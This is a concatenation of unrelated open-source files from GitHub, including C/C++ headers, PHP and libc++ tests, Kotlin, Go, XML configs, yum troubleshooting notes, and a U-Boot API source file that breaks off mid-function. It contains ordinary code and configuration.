fptoui double 0.000000e+00 to i32 ; <i32>:97 [#uses=0]
fptosi double 0.000000e+00 to i64 ; <i64>:98 [#uses=0]
fptrunc double 0.000000e+00 to float ; <float>:99 [#uses=0]
bitcast double 0.000000e+00 to double ; <double>:100 [#uses=0]
ret i32 0
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2013-2014 Intel Corporation. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef utils_h
#define utils_h
#include <stdint.h>
#include <va/va.h>
#include "VideoCommonDefs.h"
#ifndef VA_FOURCC_I420
#define VA_FOURCC_I420 VA_FOURCC('I','4','2','0')
#endif
namespace YamiMediaCodec{
uint32_t guessFourcc(const char* fileName);
bool guessResolution(const char* filename, int& w, int& h);
bool getPlaneResolution(uint32_t fourcc, uint32_t pixelWidth, uint32_t pixelHeight, uint32_t byteWidth[3], uint32_t byteHeight[3], uint32_t& planes);
bool fillFrameRawData(VideoFrameRawData* frame, uint32_t fourcc, uint32_t width, uint32_t height, uint8_t* data);
class CalcFps
{
public:
CalcFps() { m_timeStart = 0;};
void setAnchor();
float fps(uint32_t frameCount);
private:
uint64_t m_timeStart;
};
//slim version of CalcFps, hide all fps all fps detials.
class FpsCalc
{
public:
FpsCalc();
void addFrame();
void log();
private:
int m_frames;
uint64_t m_start;
uint64_t m_netStart;
static const int NET_FPS_START = 5;
};
};
#endif
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2014 The Android Open Source Project
* Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package java.security;
// Android-changed: Stubbed the implementation. Android doesn't support SecurityManager.
// See comments in java.lang.SecurityManager for details.
/**
* Legacy security code; do not use.
*/
public class ProtectionDomain {
public ProtectionDomain(CodeSource codesource,
PermissionCollection permissions) { }
public ProtectionDomain(CodeSource codesource,
PermissionCollection permissions,
ClassLoader classloader,
Principal[] principals) { }
public final CodeSource getCodeSource() { return null; }
public final ClassLoader getClassLoader() { return null; }
public final Principal[] getPrincipals() { return null; }
public final PermissionCollection getPermissions() { return null; }
public boolean implies(Permission permission) { return true; }
}
| {
"pile_set_name": "Github"
} |
--TEST--
Bug #40503 (json_encode() value corruption on 32bit systems with overflown values)
--INI--
precision=14
--SKIPIF--
<?php if (!extension_loaded("json")) print "skip"; ?>
--FILE--
<?php
function show_eq($x,$y) {
echo "$x ". ($x==$y ? "==" : "!=") ." $y\n";
}
$value = 0x7FFFFFFF; #2147483647;
show_eq("$value", json_encode($value));
$value++;
show_eq("$value", json_encode($value));
?>
--EXPECT--
2147483647 == 2147483647
2147483648 == 2147483648
| {
"pile_set_name": "Github"
} |
<!-- In LML, ButtonGroup utility class is wrapped
with a ButtonTable, which basically works like
a regular Table, except it appends all Buttons
into its internal ButtonGroup. This allows you
to easily position your buttons. -->
<buttonGroup min=2 max=3 defaultPad=2 oneColumn=true
background=window>
Text converted to labels.
Can have any children:
<slider/>
Buttons begin there:
<checkBox>All kind of buttons accepted</checkBox>
<button style=toggle size=50 />
<textButton style=toggle>TextButton</textButton>
<checkBox checked=true>CheckBox</checkBox>
<radioButton>RadioButton</radioButton>
<checkBox>Try checking more than 3.</checkBox>
<textButton style=toggle>...or less than 2.</textButton>
</buttonGroup>
<!-- If you want to inject the actor or use an
onCreate/onClose action, remember that the
actual class used by LML is ButtonTable. -->
<buttonTable bg=button min=1 max=1 defaultPad=3>
<label colspan=2 row=true>
Do you use button groups?
</label>
<checkBox>Yes</checkBox>
<checkBox>No</checkBox>
</buttonTable> | {
"pile_set_name": "Github"
} |
package com.burakeregar.kotlinmvparchitecture.home.viewholder
import android.view.View
import com.burakeregar.kotlinmvparchitecture.home.model.MarsItem
import com.burakeregar.easiestgenericrecycleradapter.base.GenericViewHolder
import kotlinx.android.synthetic.main.row_mars.view.*
import org.greenrobot.eventbus.EventBus
/**
* Created by Burak Eregar on 23.05.2017.
* [email protected]
* https://github.com/burakeregar
*/
class MarsViewHolder(itemView: View?) : GenericViewHolder<Any>(itemView) {
lateinit var item: MarsItem
override fun bindData(p0: Any?) {
item = p0 as MarsItem
with(itemView) {
row_imageview?.setImageURI(item.image)
row_date?.text = item.date
rowMarsRoot.setOnClickListener {
EventBus.getDefault().post(item)
}
}
}
} | {
"pile_set_name": "Github"
} |
## 一、yum报错
### 报错一
```
root># yum install iftop
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.aliyun.com
* epel: my.fedora.ipserverone.com
* extras: mirrors.163.com
* updates: mirrors.163.com
Resolving Dependencies
There are unfinished transactions remaining. You might consider running yum-complete-transaction, or "yum-complete-transaction --cleanup-only" and "yum history redo last", first to finish them. If those don't work you'll have to try removing/installing packages by hand (maybe package-cleanup can help).
```
### 解决办法:
```
yum install yum-utils -y
yum-complete-transaction --cleanup-only
```
| {
"pile_set_name": "Github"
} |
require 'couch_rest_rails'
%w(couchrest json validatable).each do |g|
begin
require g
rescue LoadError
puts "Could not load required gem '#{g}'"
exit
end
end | {
"pile_set_name": "Github"
} |
<?php
namespace Eris\Listener;
use Eris\Listener;
use InvalidArgumentException;
use Exception;
function collectFrequencies(callable $collectFunction = null)
{
return new CollectFrequencies($collectFunction);
}
class CollectFrequencies extends EmptyListener implements Listener
{
private $collectFunction;
private $collectedValues = [];
public function __construct($collectFunction = null)
{
if ($collectFunction === null) {
$collectFunction = function (/*...*/) {
$generatedValues = func_get_args();
if (count($generatedValues) === 1) {
$value = $generatedValues[0];
} else {
$value = $generatedValues;
}
if (is_string($value) || is_integer($value)) {
return $value;
} else {
return json_encode($value);
}
};
}
$this->collectFunction = $collectFunction;
}
public function endPropertyVerification($ordinaryEvaluations, $iterations, Exception $exception = null)
{
arsort($this->collectedValues, SORT_NUMERIC);
echo PHP_EOL;
foreach ($this->collectedValues as $key => $value) {
$frequency = round(($value / $ordinaryEvaluations) * 100, 2);
echo "{$frequency}% $key" . PHP_EOL;
}
}
public function newGeneration(array $generation, $iteration)
{
$key = call_user_func_array($this->collectFunction, $generation);
// TODO: check key is a correct key, identity may lead this to be a non-string and non-integer value
// have a default for arrays and other scalars
if (!is_string($key) && !is_integer($key)) {
throw new InvalidArgumentException("The key " . var_export($key, true) . " cannot be used for collection, please specify a custom mapping function to collectFrequencies()");
}
if (array_key_exists($key, $this->collectedValues)) {
$this->collectedValues[$key]++;
} else {
$this->collectedValues[$key] = 1;
}
}
}
| {
"pile_set_name": "Github"
} |
# Index created by AutoSplit for blib/lib/IO/Interface.pm
# (file acts as timestamp)
1;
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
// <utility>
// template <class T1, class T2> struct pair
// template<class U, class V> pair& operator=(const pair<U, V>& p);
#include <utility>
#include <cassert>
#include "test_macros.h"
#if TEST_STD_VER >= 11
#include "archetypes.h"
#endif
TEST_CONSTEXPR_CXX20 bool test() {
{
typedef std::pair<int, short> P1;
typedef std::pair<double, long> P2;
P1 p1(3, static_cast<short>(4));
P2 p2;
p2 = p1;
assert(p2.first == 3);
assert(p2.second == 4);
}
#if TEST_STD_VER >= 20
{
using C = ConstexprTestTypes::TestType;
using P = std::pair<int, C>;
using T = std::pair<long, C>;
const T t(42, -42);
P p(101, 101);
p = t;
assert(p.first == 42);
assert(p.second.value == -42);
}
#elif TEST_STD_VER >= 11
{
using C = TestTypes::TestType;
using P = std::pair<int, C>;
using T = std::pair<long, C>;
const T t(42, -42);
P p(101, 101);
C::reset_constructors();
p = t;
assert(C::constructed == 0);
assert(C::assigned == 1);
assert(C::copy_assigned == 1);
assert(C::move_assigned == 0);
assert(p.first == 42);
assert(p.second.value == -42);
}
#endif
return true;
}
int main(int, char**) {
test();
#if TEST_STD_VER >= 20
static_assert(test());
#endif
return 0;
}
| {
"pile_set_name": "Github"
} |
/* $Id: initterm-r0drv-os2.cpp $ */
/** @file
* IPRT - Initialization & Termination, Ring-0 Driver, OS/2.
*/
/*
* Copyright (c) 2007 knut st. osmundsen <[email protected]>
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#define RT_STRICT
/*********************************************************************************************************************************
* Header Files *
*********************************************************************************************************************************/
#include "the-os2-kernel.h"
#include "internal/initterm.h"
#include <iprt/err.h>
#include <iprt/assert.h>
/*********************************************************************************************************************************
* Global Variables *
*********************************************************************************************************************************/
/** Pointer to the 1st DOS variable table. */
PCDOSTABLE g_pDosTable = NULL;
/** Pointer to the 2nd DOS variable table. */
PCDOSTABLE2 g_pDosTable2 = NULL;
/** Pointer to the global info segment. */
PGINFOSEG g_pGIS = NULL;
/** Far 16:16 pointer to the local info segment.
* IIRC this must be converted to a flat pointer when accessed to work correctly on SMP systems. */
RTFAR16 g_fpLIS = {0, 0};
DECLHIDDEN(int) rtR0InitNative(void)
{
/*
* Get the DOS Tables.
*/
RTFAR16 fp;
int rc = RTR0Os2DHQueryDOSVar(DHGETDOSV_DOSTABLES, 0, &fp);
AssertMsgReturn(!rc, ("rc=%d\n", rc), VERR_INTERNAL_ERROR);
g_pDosTable = (PCDOSTABLE)RTR0Os2Virt2Flat(fp);
AssertReturn(g_pDosTable, VERR_INTERNAL_ERROR);
g_pDosTable2 = (PCDOSTABLE2)((const uint8_t *)g_pDosTable + g_pDosTable->cul * sizeof(ULONG) + 1);
/*
* Get the addresses of the two info segments.
*/
rc = RTR0Os2DHQueryDOSVar(DHGETDOSV_SYSINFOSEG, 0, &fp);
AssertMsgReturn(!rc, ("rc=%d\n", rc), VERR_INTERNAL_ERROR);
g_pGIS = (PGINFOSEG)RTR0Os2Virt2Flat(fp);
rc = RTR0Os2DHQueryDOSVar(DHGETDOSV_LOCINFOSEG, 0, &fp);
AssertMsgReturn(!rc, ("rc=%d\n", rc), VERR_INTERNAL_ERROR);
g_fpLIS = fp;
return VINF_SUCCESS;
}
DECLHIDDEN(void) rtR0TermNative(void)
{
/* nothing to do here yet. */
}
/**
* Converts a 16:16 pointer to a flat pointer.
*
* @returns Flat pointer (NULL if fp is NULL).
* @param fp Far pointer to convert.
*/
RTR0DECL(void *) RTR0Os2Virt2Flat(RTFAR16 fp)
{
return (void *)KernSelToFlat((fp.sel << 16) | fp.off);
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
Copyright 2013 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".handlers.MessagingMainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/main_text_activity_messaging_main"
android:id="@+id/mainTextView"
android:layout_alignParentTop="true"
android:layout_alignParentStart="true"
android:layout_alignParentEnd="true"
android:layout_alignParentBottom="true"/>
</RelativeLayout> | {
"pile_set_name": "Github"
} |
#
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>CSS Transforms Test: Whitespace separations between transform functions on SVG presentation attribute</title>
<link rel="author" title="Rebecca Hauck" href="mailto:[email protected]">
<link rel="help" href="http://www.w3.org/TR/css-transforms-1/#svg-transform">
<link rel="help" href="http://www.w3.org/TR/css-transforms-1/#svg-transform-list">
<link rel="help" href="https://www.w3.org/TR/css-transforms-1/#svg-syntax">
<link rel="help" href="http://www.w3.org/TR/css-transforms-1/#transform-function-lists">
<link rel="match" href="reference/svg-transform-list-separations-ref.html">
<meta name="flags" content="svg">
<meta name="assert" content="The rect in the test should have an x offset of 100, a y offset of 100, and should be rotated 90 degrees clockwise with 3 transform functions in the list delimited by whitespace.">
<style type="text/css">
svg {
width: 300px;
height: 300px;
}
</style>
</head>
<body>
<p>The test passes if there is a vertical orange stripe to the left of a vertical fuchsia stripe.</p>
<svg>
<!-- Fill with Gradient to avoid false positive. -->
<defs>
<linearGradient id="grad" x1="0%" y1="0%" x2="0%" y2="100%">
<stop offset="50%" stop-color="fuchsia"/>
<stop offset="50%" stop-color="orange"/>
</linearGradient>
</defs>
<rect width="100" height="100" fill="url(#grad)" transform="translate(200 0) translate(0 100) rotate(90)"/>
</svg>
</body>
</html>
| {
"pile_set_name": "Github"
} |
flag{test}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<component name="org.nuxeo.ecm.directory.multi.config">
<extension target="org.nuxeo.ecm.directory.multi.MultiDirectoryFactory"
point="directories">
<directory name="multiOptional">
<schema>schema3</schema>
<idField>uid</idField>
<passwordField>thepass</passwordField>
<source name="source1" creation="true">
<subDirectory name="dir1">
<field for="thepass">password</field>
<field for="thefoo">foo</field>
<optional>true</optional>
</subDirectory>
<subDirectory name="dir2">
<field for="uid">id</field>
<field for="thebar">bar</field>
</subDirectory>
</source>
<source name="source2">
<subDirectory name="dir3" />
</source>
</directory>
<directory name="multiOptionalInvalid">
<schema>schema3</schema>
<idField>uid</idField>
<passwordField>thepass</passwordField>
<source name="source1" creation="true">
<subDirectory name="dir1">
<field for="thepass">password</field>
<field for="thefoo">foo</field>
<optional>true</optional>
</subDirectory>
<subDirectory name="dir2">
<field for="uid">id</field>
<field for="thebar">bar</field>
<optional>true</optional>
</subDirectory>
</source>
<source name="source2">
<subDirectory name="dir3" />
</source>
</directory>
</extension>
</component>
| {
"pile_set_name": "Github"
} |
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package v1
// MatchToleration checks if the toleration matches tolerationToMatch. Tolerations are unique by <key,effect,operator,value>,
// if the two tolerations have same <key,effect,operator,value> combination, regard as they match.
// TODO: uniqueness check for tolerations in api validations.
func (t *Toleration) MatchToleration(tolerationToMatch *Toleration) bool {
return t.Key == tolerationToMatch.Key &&
t.Effect == tolerationToMatch.Effect &&
t.Operator == tolerationToMatch.Operator &&
t.Value == tolerationToMatch.Value
}
// ToleratesTaint checks if the toleration tolerates the taint.
// The matching follows the rules below:
// (1) Empty toleration.effect means to match all taint effects,
// otherwise taint effect must equal to toleration.effect.
// (2) If toleration.operator is 'Exists', it means to match all taint values.
// (3) Empty toleration.key means to match all taint keys.
// If toleration.key is empty, toleration.operator must be 'Exists';
// this combination means to match all taint values and all taint keys.
func (t *Toleration) ToleratesTaint(taint *Taint) bool {
if len(t.Effect) > 0 && t.Effect != taint.Effect {
return false
}
if len(t.Key) > 0 && t.Key != taint.Key {
return false
}
// TODO: Use proper defaulting when Toleration becomes a field of PodSpec
switch t.Operator {
// empty operator means Equal
case "", TolerationOpEqual:
return t.Value == taint.Value
case TolerationOpExists:
return true
default:
return false
}
}
| {
"pile_set_name": "Github"
} |
/*
* (C) Copyright 2007 Semihalf
*
* Written by: Rafal Jaworowski <[email protected]>
*
* See file CREDITS for list of people who contributed to this
* project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*/
#include <config.h>
#include <command.h>
#include <common.h>
#include <malloc.h>
#include <environment.h>
#include <linux/types.h>
#include <api_public.h>
#include "api_private.h"
#define DEBUG
#undef DEBUG
/* U-Boot routines needed */
extern int do_reset (cmd_tbl_t *cmdtp, int flag, int argc, char *argv[]);
/*****************************************************************************
*
* This is the API core.
*
* API_ functions are part of U-Boot code and constitute the lowest level
* calls:
*
* - they know what values they need as arguments
* - their direct return value pertains to the API_ "shell" itself (0 on
* success, some error code otherwise)
* - if the call returns a value it is buried within arguments
*
****************************************************************************/
#ifdef DEBUG
#define debugf(fmt, args...) do { printf("%s(): ", __func__); printf(fmt, ##args); } while (0)
#else
#define debugf(fmt, args...)
#endif
typedef int (*cfp_t)(va_list argp);
static int calls_no;
/*
* pseudo signature:
*
* int API_getc(int *c)
*/
static int API_getc(va_list ap)
{
int *c;
if ((c = (int *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
*c = getc();
return 0;
}
/*
* pseudo signature:
*
* int API_tstc(int *c)
*/
static int API_tstc(va_list ap)
{
int *t;
if ((t = (int *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
*t = tstc();
return 0;
}
/*
* pseudo signature:
*
* int API_putc(char *ch)
*/
static int API_putc(va_list ap)
{
char *c;
if ((c = (char *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
putc(*c);
return 0;
}
/*
* pseudo signature:
*
* int API_puts(char **s)
*/
static int API_puts(va_list ap)
{
char *s;
if ((s = (char *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
puts(s);
return 0;
}
/*
* pseudo signature:
*
* int API_reset(void)
*/
static int API_reset(va_list ap)
{
do_reset(NULL, 0, 0, NULL);
/* NOT REACHED */
return 0;
}
/*
* pseudo signature:
*
* int API_get_sys_info(struct sys_info *si)
*
* fill out the sys_info struct containing selected parameters about the
* machine
*/
static int API_get_sys_info(va_list ap)
{
struct sys_info *si;
si = (struct sys_info *)va_arg(ap, u_int32_t);
if (si == NULL)
return API_ENOMEM;
return (platform_sys_info(si)) ? 0 : API_ENODEV;
}
/*
* pseudo signature:
*
* int API_udelay(unsigned long *udelay)
*/
static int API_udelay(va_list ap)
{
unsigned long *d;
if ((d = (unsigned long *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
udelay(*d);
return 0;
}
/*
* pseudo signature:
*
* int API_get_timer(unsigned long *current, unsigned long *base)
*/
static int API_get_timer(va_list ap)
{
unsigned long *base, *cur;
cur = (unsigned long *)va_arg(ap, u_int32_t);
if (cur == NULL)
return API_EINVAL;
base = (unsigned long *)va_arg(ap, u_int32_t);
if (base == NULL)
return API_EINVAL;
*cur = get_timer(*base);
return 0;
}
/*****************************************************************************
*
* pseudo signature:
*
* int API_dev_enum(struct device_info *)
*
*
* cookies uniqely identify the previously enumerated device instance and
* provide a hint for what to inspect in current enum iteration:
*
* - net: ð_device struct address from list pointed to by eth_devices
*
* - storage: block_dev_desc_t struct address from &ide_dev_desc[n],
* &scsi_dev_desc[n] and similar tables
*
****************************************************************************/
static int API_dev_enum(va_list ap)
{
struct device_info *di;
/* arg is ptr to the device_info struct we are going to fill out */
di = (struct device_info *)va_arg(ap, u_int32_t);
if (di == NULL)
return API_EINVAL;
if (di->cookie == NULL) {
/* start over - clean up enumeration */
dev_enum_reset(); /* XXX shouldn't the name contain 'stor'? */
debugf("RESTART ENUM\n");
/* net device enumeration first */
if (dev_enum_net(di))
return 0;
}
/*
* The hidden assumption is there can only be one active network
* device and it is identified upon enumeration (re)start, so there's
* no point in trying to find network devices in other cases than the
* (re)start and hence the 'next' device can only be storage
*/
if (!dev_enum_storage(di))
/* make sure we mark there are no more devices */
di->cookie = NULL;
return 0;
}
static int API_dev_open(va_list ap)
{
struct device_info *di;
int err = 0;
/* arg is ptr to the device_info struct */
di = (struct device_info *)va_arg(ap, u_int32_t);
if (di == NULL)
return API_EINVAL;
/* Allow only one consumer of the device at a time */
if (di->state == DEV_STA_OPEN)
return API_EBUSY;
if (di->cookie == NULL)
return API_ENODEV;
if (di->type & DEV_TYP_STOR)
err = dev_open_stor(di->cookie);
else if (di->type & DEV_TYP_NET)
err = dev_open_net(di->cookie);
else
err = API_ENODEV;
if (!err)
di->state = DEV_STA_OPEN;
return err;
}
static int API_dev_close(va_list ap)
{
struct device_info *di;
int err = 0;
/* arg is ptr to the device_info struct */
di = (struct device_info *)va_arg(ap, u_int32_t);
if (di == NULL)
return API_EINVAL;
if (di->state == DEV_STA_CLOSED)
return 0;
if (di->cookie == NULL)
return API_ENODEV;
if (di->type & DEV_TYP_STOR)
err = dev_close_stor(di->cookie);
else if (di->type & DEV_TYP_NET)
err = dev_close_net(di->cookie);
else
/*
* In case of unknown device we cannot change its state, so
* only return error code
*/
err = API_ENODEV;
if (!err)
di->state = DEV_STA_CLOSED;
return err;
}
/*
* Notice: this is for sending network packets only, as U-Boot does not
* support writing to storage at the moment (12.2007)
*
* pseudo signature:
*
* int API_dev_write(
* struct device_info *di,
* void *buf,
* int *len
* )
*
* buf: ptr to buffer from where to get the data to send
*
* len: length of packet to be sent (in bytes)
*
*/
static int API_dev_write(va_list ap)
{
struct device_info *di;
void *buf;
int *len;
int err = 0;
/* 1. arg is ptr to the device_info struct */
di = (struct device_info *)va_arg(ap, u_int32_t);
if (di == NULL)
return API_EINVAL;
/* XXX should we check if device is open? i.e. the ->state ? */
if (di->cookie == NULL)
return API_ENODEV;
/* 2. arg is ptr to buffer from where to get data to write */
buf = (void *)va_arg(ap, u_int32_t);
if (buf == NULL)
return API_EINVAL;
/* 3. arg is length of buffer */
len = (int *)va_arg(ap, u_int32_t);
if (len == NULL)
return API_EINVAL;
if (*len <= 0)
return API_EINVAL;
if (di->type & DEV_TYP_STOR)
/*
* write to storage is currently not supported by U-Boot:
* no storage device implements block_write() method
*/
return API_ENODEV;
else if (di->type & DEV_TYP_NET)
err = dev_write_net(di->cookie, buf, *len);
else
err = API_ENODEV;
return err;
}
/*
* pseudo signature:
*
* int API_dev_read(
* struct device_info *di,
* void *buf,
* size_t *len,
* unsigned long *start
* size_t *act_len
* )
*
* buf: ptr to buffer where to put the read data
*
* len: ptr to length to be read
* - network: len of packet to read (in bytes)
* - storage: # of blocks to read (can vary in size depending on define)
*
* start: ptr to start block (only used for storage devices, ignored for
* network)
*
* act_len: ptr to where to put the len actually read
*/
static int API_dev_read(va_list ap)
{
struct device_info *di;
void *buf;
lbasize_t *len_stor, *act_len_stor;
lbastart_t *start;
int *len_net, *act_len_net;
/* 1. arg is ptr to the device_info struct */
di = (struct device_info *)va_arg(ap, u_int32_t);
if (di == NULL)
return API_EINVAL;
/* XXX should we check if device is open? i.e. the ->state ? */
if (di->cookie == NULL)
return API_ENODEV;
/* 2. arg is ptr to buffer from where to put the read data */
buf = (void *)va_arg(ap, u_int32_t);
if (buf == NULL)
return API_EINVAL;
if (di->type & DEV_TYP_STOR) {
/* 3. arg - ptr to var with # of blocks to read */
len_stor = (lbasize_t *)va_arg(ap, u_int32_t);
if (!len_stor)
return API_EINVAL;
if (*len_stor <= 0)
return API_EINVAL;
/* 4. arg - ptr to var with start block */
start = (lbastart_t *)va_arg(ap, u_int32_t);
/* 5. arg - ptr to var where to put the len actually read */
act_len_stor = (lbasize_t *)va_arg(ap, u_int32_t);
if (!act_len_stor)
return API_EINVAL;
*act_len_stor = dev_read_stor(di->cookie, buf, *len_stor, *start);
} else if (di->type & DEV_TYP_NET) {
/* 3. arg points to the var with length of packet to read */
len_net = (int *)va_arg(ap, u_int32_t);
if (!len_net)
return API_EINVAL;
if (*len_net <= 0)
return API_EINVAL;
/* 4. - ptr to var where to put the len actually read */
act_len_net = (int *)va_arg(ap, u_int32_t);
if (!act_len_net)
return API_EINVAL;
*act_len_net = dev_read_net(di->cookie, buf, *len_net);
} else
return API_ENODEV;
return 0;
}
/*
* pseudo signature:
*
* int API_env_get(const char *name, char **value)
*
* name: ptr to name of env var
*/
static int API_env_get(va_list ap)
{
char *name, **value;
if ((name = (char *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
if ((value = (char **)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
*value = getenv(name);
return 0;
}
/*
* pseudo signature:
*
* int API_env_set(const char *name, const char *value)
*
* name: ptr to name of env var
*
* value: ptr to value to be set
*/
static int API_env_set(va_list ap)
{
char *name, *value;
if ((name = (char *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
if ((value = (char *)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
setenv(name, value);
return 0;
}
/*
* pseudo signature:
*
* int API_env_enum(const char *last, char **next)
*
* last: ptr to name of env var found in last iteration
*/
static int API_env_enum(va_list ap)
{
int i, n;
char *last, **next;
last = (char *)va_arg(ap, u_int32_t);
if ((next = (char **)va_arg(ap, u_int32_t)) == NULL)
return API_EINVAL;
if (last == NULL)
/* start over */
*next = ((char *)env_get_addr(0));
else {
*next = last;
for (i = 0; env_get_char(i) != '\0'; i = n + 1) {
for (n = i; env_get_char(n) != '\0'; ++n) {
if (n >= CONFIG_ENV_SIZE) {
/* XXX shouldn't we set *next = NULL?? */
return 0;
}
}
if (envmatch((uchar *)last, i) < 0)
continue;
/* try to get next name */
i = n + 1;
if (env_get_char(i) == '\0') {
/* no more left */
*next = NULL;
return 0;
}
*next = ((char *)env_get_addr(i));
return 0;
}
}
return 0;
}
static cfp_t calls_table[API_MAXCALL] = { NULL, };
/*
* The main syscall entry point - this is not reentrant, only one call is
* serviced until finished.
*
* e.g. syscall(1, int *, u_int32_t, u_int32_t, u_int32_t, u_int32_t);
*
* call: syscall number
*
* retval: points to the return value placeholder, this is the place the
* syscall puts its return value, if NULL the caller does not
* expect a return value
*
* ... syscall arguments (variable number)
*
* returns: 0 if the call not found, 1 if serviced
*/
int syscall(int call, int *retval, ...)
{
va_list ap;
int rv;
if (call < 0 || call >= calls_no) {
debugf("invalid call #%d\n", call);
return 0;
}
if (calls_table[call] == NULL) {
debugf("syscall #%d does not have a handler\n", call);
return 0;
}
va_start(ap, retval);
rv = calls_table[call](ap);
if (retval != NULL)
*retval = rv;
return 1;
}
void api_init(void)
{
struct api_signature *sig = NULL;
/* TODO put this into linker set one day... */
calls_table[API_RSVD] = NULL;
calls_table[API_GETC] = &API_getc;
calls_table[API_PUTC] = &API_putc;
calls_table[API_TSTC] = &API_tstc;
calls_table[API_PUTS] = &API_puts;
calls_table[API_RESET] = &API_reset;
calls_table[API_GET_SYS_INFO] = &API_get_sys_info;
calls_table[API_UDELAY] = &API_udelay;
calls_table[API_GET_TIMER] = &API_get_timer;
calls_table[API_DEV_ENUM] = &API_dev_enum;
calls_table[API_DEV_OPEN] = &API_dev_open;
calls_table[API_DEV_CLOSE] = &API_dev_close;
calls_table[API_DEV_READ] = &API_dev_read;
calls_table[API_DEV_WRITE] = &API_dev_write;
calls_table[API_ENV_GET] = &API_env_get;
calls_table[API_ENV_SET] = &API_env_set;
calls_table[API_ENV_ENUM] = &API_env_enum;
calls_no = API_MAXCALL;
debugf("API initialized with %d calls\n", calls_no);
dev_stor_init();
/*
* Produce the signature so the API consumers can find it
*/
sig = malloc(sizeof(struct api_signature));
if (sig == NULL) {
printf("API: could not allocate memory for the signature!\n");
return;
}
debugf("API sig @ 0x%08x\n", sig);
